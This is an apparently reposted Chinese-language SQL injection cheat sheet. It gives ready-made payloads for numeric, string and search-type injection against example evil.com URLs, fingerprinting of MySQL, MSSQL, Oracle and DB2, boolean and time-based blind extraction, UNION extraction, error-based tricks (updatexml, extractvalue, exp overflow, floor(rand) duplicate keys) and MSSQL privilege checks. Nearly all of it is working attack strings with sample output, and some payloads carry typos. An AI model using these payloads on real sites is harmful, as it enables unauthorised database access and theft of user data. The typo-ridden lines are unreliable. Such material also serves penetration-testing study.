不能局限于这几种,要根据网站功能对应的SQL语句进行变化
数字型注入
http://www.evil.com/search?id=1 and 1=1 页面返回的结果与id=1时一样
http://www.evil.com/search?id=1 and 1=2 页面返回结果为空或报错
字符型注入
http://www.evil.com/search?id=1' 页面返回出错或无返回结果
http://www.evil.com/search?id=1' and '1'='1 页面返回结果与id=1时一样
http://www.evil.com/search?id=1' and '1'='2 页面返回结果为空或报错
搜索型注入
http://www.evil.com/search?id=1%' and 1=1 and '%'='
通过特定函数判断数据库类型
函数描述 | MYSQL | MSSQL | ORACLE | DB2 |
---|---|---|---|---|
返回长度值 | len() | len() | length() | length() |
返回数据库版本信息 | @@version,version()>0 | @@version>0 | 无 | 无 |
提取字符串中的字符 | substring/substr | substring | substr | substr |
通过特殊符号判断
MYSQL注释符:# -- /*....*/
MSSQL注释符:-- /*....*/
ORACLE注释符:-- /*....*/
DB2注释符:-- /*.....*/
MYSQL | MSSQL | ORACLE | |
---|---|---|---|
‘1’+‘1’=‘11’ | Y | Y | |
CONCAT(‘1’,‘1’)=‘11’ | Y | Y | |
‘1’||‘1’=‘11’ | Y |
通过特定数据库判断
and (select count(*) from master..sysobject)>0 页面返回正常说明是MSSQL
and (select count(*) from information_schema.tables)>0 页面返回正常说明是MYSQL
and (select count(*) from sys.user_tables)>0 页面返回正常说明是ORACLE
and (select count(versionnumber) from sysibm.sysversions)>0 页面返回正常说明是DB2
根据错误信息判断
ORACLE:
ORA-01756:quoted string not properly terminated
ORA-00933:SQLcommand not properly ended
MSSQL:
Line 1:Incorrect syntax near ‘foo
Msg 105,level 15,state 1,Line 1
Unclose quotation mark before the character string ‘foo
MYSQL:
you have an error in your SQL syntax,check the manual that corresponds to you mysql server version for the right stntax to use near ‘’foo’ at line x
DB2:
-534 21502 可改变主健列值的更新语句不能在同一时刻用于更新多行,详见https://www.jianshu.com/p/9aab7408aba5
获取一些当前数据库的简要信息
数据库版本:and ascii(substring(@@version,1,1))>0
当前用户:and ord(mid(user(),1,1))=114
当前数据库名:
猜数据库名的长度-->and length(database())>97#
猜数据库名称------>and ascii(substr(databse(),1,1))>97#
获取数据库元数据
information_schema是MYSQL中独有的数据库,其中保存了所有数据库信息
如数据库名、数据库中的表、数据表中的数据类型、数据库的访问权限
简而言之,当前这台MYSQL服务器中的所有数据库元信息都存储在information_schema中
数据表名 | 列名 | 作用 |
---|---|---|
schemata | schema_name | 记录所有数据库的名字 |
tables | table_schema | 记录所有数据库的名字 |
tables | table_name | 记录所有数据表名字 |
columns | table_schema | 记录所有数据库的名字 |
columns | table_name | 记录所有数据库的表的名字 |
columns | column_name | 记录所有数据库的表的列的名字 |
select schema_name from schemata
select table_name from tables where table_schema="数据库名称"
select column_name from columns where table_schema="数据库名" and table_name="数据表名"
布尔盲注/时间盲注
数据库相关信息(库的数量、库的名称)
获取数据库的数量:and select count(schema_name) from information_schema.schemata--
获取数据库名称:and ascii(substr(database(),1,1))>97--
and ascii(substr((select schema_name from information_schema.schema limit 0,1),1,1))>97--
获取数据表的数量:and (select count(table_name) from information_schema.tables where table_schema=database())=1--
获取数据表的长度:and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))>3--
获取数据表的名称:and substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)>97--
获取字段的数量:and (select count(column_name) from information.schema.columns where table_name="数据表名称")=2--
获取字段的长度:and length(substr((select column_name from information_schema.columns where table_name=‘数据表名称‘),1))>3--
获取字段的名称:and ascii(substr((select table_name from information_schema.columns where table_name="数据表名称"),1,1))>97--
数据表中的数据
获取数据记录数量:and (select count(*) from 数据库名称.数据表名称)=1--
获取表中的某列数据的长度:and length(substr((select 列名 from 数据库名.数据表名 limit 0,1),1))>3
获取某条数据的具体信息:and ascii(substr((select 列名 from 数据库名.数据表名 limit 0,1),1,1))>97
时间盲注与布尔盲注整体步骤基本一致,唯一不同在于所采用的SQL语句的方式,布尔盲注借助>=<三个符号作为依据进行判断,时间盲注主要依赖于IF语句,如
and if(SQL语句,sleep(5),1)
标识如果SQL语句执行成功,则整个查询语句都会延时查询5秒返回,否则直接返回结果
回显注入
盲注依然可用
判断当前页面的字段数
通过union注入:and 1=1 union select 1,2
通过order by注入:order by 2-->直到返回结果异常
获取数据库名
and 1=2 union select 1,schema_name from information_schema.schemata limit 1,2
获取数据表名
and 1=2 union select 1,table_name from information_schema.tables where table_schema="数据库名称" limit 0,1
and 1=2 union select 1,group_concat(distinct table_name) from information_schema.tables where table_schema="数据库名称" limit 0,1
获取列名
and 1=2 union select 1,column_name from information_schema.schemata where table_name="数据表名称" limit 0,1
and 1=2 union select 1,group_concat(distinct column_name) from information_schema.columns where table_schema="数据库名称"
获取数据
and 1=2 union select 字段名1,字段名2 from 表名1 limit 0,1
报错注入
报错注入就是利用数据库的某些机制,人为地制造错误条件,并从错误信息中获取查询的结果,报错注入通常用于在联合查询受限且能返回错误信息的情况下
整形溢出
Type | Storage | Minimum Value | Maximum Value |
---|---|---|---|
(Bytes) | (Signed/Unsigned) | (Signed/Unsigned) | |
TINYINT | 1 | -128 | 127 |
0 | 255 | ||
SMALLINT | 2 | -32768 | 32767 |
0 | 65535 | ||
MEDIUMINT | 3 | -8388608 | 8388607 |
0 | 16777215 | ||
INT | 4 | -2147483648 | 2147483647 |
0 | 4294967295 | ||
BIGINT | 8 | -9223372036854775808 | 9223372036854775807 |
0 | 18446744073709551615 |
# 基于整数溢出的报错
mysql> select ~0;
+----------------------+
| ~0 |
+----------------------+
| 18446744073709551615 |
+----------------------+
1 row in set (0.00 sec)
mysql> select ~0+1;
ERROR 1690 (22003): BIGINT UNSIGNED value is out of range in '(~(0) + 1)'
# 基于exp函数溢出的报错
mysql> select exp(709);
+-----------------------+
| exp(709) |
+-----------------------+
| 8.218407461554972e307 |
+-----------------------+
1 row in set (0.00 sec)
mysql> select exp(710);
ERROR 1690 (22003): DOUBLE value is out of range in 'exp(710)'
两者进行组合
mysql> select exp(~(select*from(select user())x));
ERROR 1690 (22003): DOUBLE value is out of range in 'exp(~((select 'root@localhost' from dual)))'
该类报错机制依赖于MYSQL的版本信息,不同的MYSQL可能有不一样的表现
XPATH语法错误
MYSQL提供两个XML查询及修改的函数,即extractvalue和updatexml,extractvalue负责按照xpath语法查询节点内容,updatexml负责修改查询到的内容
两个函数的第二个参数都必须是符合xpath语法的字符串,若不满足,就会报错,且在报错信息中返回查询的结果
mysql> select updatexml(1,concat(0x7e,(select @@version),0x7e),1);
ERROR 1105 (HY000): XPATH syntax error: '~5.7.17~'
mysql> select extractvalue(1,concat(0x7e,(select @@version),0x7e));
ERROR 1105 (HY000): XPATH syntax error: '~5.7.17~'
主键重复
原理在于利用count()、group by函数在遇到rand()产生的重复值时报错的思路
floor
只返回整数部分,小数部分舍弃
mysql> select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x;
ERROR 1062 (23000): Duplicate entry '5.7.171' for key '<group_key>'
列名重复
主要利用NAME_CONST函数,NAME_CONST要求必须是常量
mysql> select * from (select NAME_CONST(version(),1),NAME_CONST(version(),1))x;
ERROR 1060 (42S21): Duplicate column name '5.7.17'
几何函数
# geometrycollection()
select * from test where id=1 and geometrycollection((select * from(select * from(select user())a)b));
# multipoint()
select * from test where id=1 and multipoint((select * from(select * from(select user())a)b));
# polygon()
select * from test where id=1 and polygon((select * from(select * from(select user())a)b));
# multipolygon()
select * from test where id=1 and multipolygon((select * from(select * from(select user())a)b));
# linestring()
select * from test where id=1 and linestring((select * from(select * from(select user())a)b));
# multilinestring()
select * from test where id=1 and multilinestring((select * from(select * from(select user())a)b));
获取数据库的简要信息
获取数据库版本信息
and ascii(substring(@@version,1,1))>0
获取数据库信息
and ascii(substring(db_name(),1,1))>0
获取当前用户
and ascii(substring(user_name(),1,1))>0
获取当前用户的权限
and (select ISSRVROLEMEMBER(‘sysadmin‘))>0--
-->dba权限
and (select IS_MEMBER(‘db_owner‘))>0--
-->数据库拥有者
and (select IS_MEMBER(‘public‘))>0--
-->public用户
获取数据库元数据
master是MSSQL中独有的系统数据库,其中包含以下几个比较重要的数据表
sysdatabases:
name:数据表示为数据库名称
每个数据库中都会自带以下几个重要的数据表
sysobjects:
name:数据表的名称
id:数据表的id
syscolumns:
name:列名
id:数据表的id
盲注
获取数据库名称
and ascii(substring((select top 1 name from master..sysdatabases),1,1))>=97
and ascii(substring((select top 1 name from master..sysdatabases where name not in (‘数据库名称1‘,‘数据库名称2‘)),1,1))>=97
获取数据表名称
and ascii(substring((select top 1 name from 数据库名称..sysobjects where xtype=‘u‘),1,1))>=97
and ascii(substring((select top 1 name from 数据库名称..sysobjects where xtype=‘u‘ and name not in("表名1","表名2")),1,1))>=97
获取列名
and ascii(substring((select top 1 name from 数据库名称..syscolumns where id=(select id from 数据库名称..sysobjects where xtype=‘u‘ and name ="数据表名称")),1,1))>=90
and ascii(substring((select top 1 name from 数据库名称..syscolumns where id=(select id from sysobjects where xtype=‘u‘ and name="数据表名称") and name not in("列名1","列名2")),1,1))>=97
获取数据
and ascii(substring((select top 1 列名 from 表名),1,1))>=97
主要利用了DB2的系统数据库sysibm
和syscat
判断数据库类型
所有的数据库对象(表和视图)都在sysibm中
(select count(versionnumber) from sysibm.sysversions)>0
获取数据库版本信息
select versionnumber from sysibm.sysversions
获取数据库用户名称
select distinct owner from syscat.tables where tabschema=current schema
获取数据库名称
db2中称之为对象,syscat中记录了DB2中所有的表视图信息,sysibm和syscat中都存储了DB2所有的表视图
sysibm.columns==>column_name(列名),data_type(列类型)
syscat.columns==>colname(列名),typename(列类型)
select distinct table_schema from sysibm.tables limit 0,1
或者
select distinct tabschema from syscat.tables limit 0,1
获取当前数据库名称
select db_name from table(snap_get_db(‘‘,-1))
DB2也可以在不需要数据库名称的情况下获取数据库中的数据表
获取数据表名称
select table_name from sysibm.tables where table_schema=current schema limit 0,1
或者
select tabname from syscat.tables where tabschema=current schema limit 0,1
获取数据字段名称
表名table_name必须大写
select column_name from sysibm.columns where table_schema=current schema and table_name='数据表名称' limit 0,1
或者
select colname from syscat.columns where tabschema=current schema and tabname='数据表名称' limit 0,1
获取所有数据
select 字段名1,字段名2 from 表名
盲注主要采用二分法进行,所谓二分法就是值大于小于等于某个ASCII对应的十进制数字
判断数据库类型
(select count(versionnumber) from sysibm.sysversions)>0
获取当前数据库的用户
and ascii(substr((select distinct owner from syscat.tables where tabschema=current schema),1,1))>0
获取当前数据库名称
DB2也可以不用获取当前数据库名称
and ascii(substr(select db_name from table(snap_get_db(‘‘,-1)),1,1))>0
获取当前数据库中数据表名
and ascii(substr((select tabname from syscat.tables where tabschema=current schema limit 0,1),1,1))>0
获取当前数据库中数据字段名称
假设上述步骤获取完整的数据表名为
users
,获取方式二选一
and ascii(substr((select colname from syscat.columns where tabschema=current schema and tabname=‘test‘ limit 0,1),1,1))>0
获取所有数据
假设上述步骤成功获取表
users
中字段名有id
,username
,password
and ascii(substr((select username from users limit 0,1),1,1))>0
原文:https://www.cnblogs.com/jerrylocker/p/10767710.html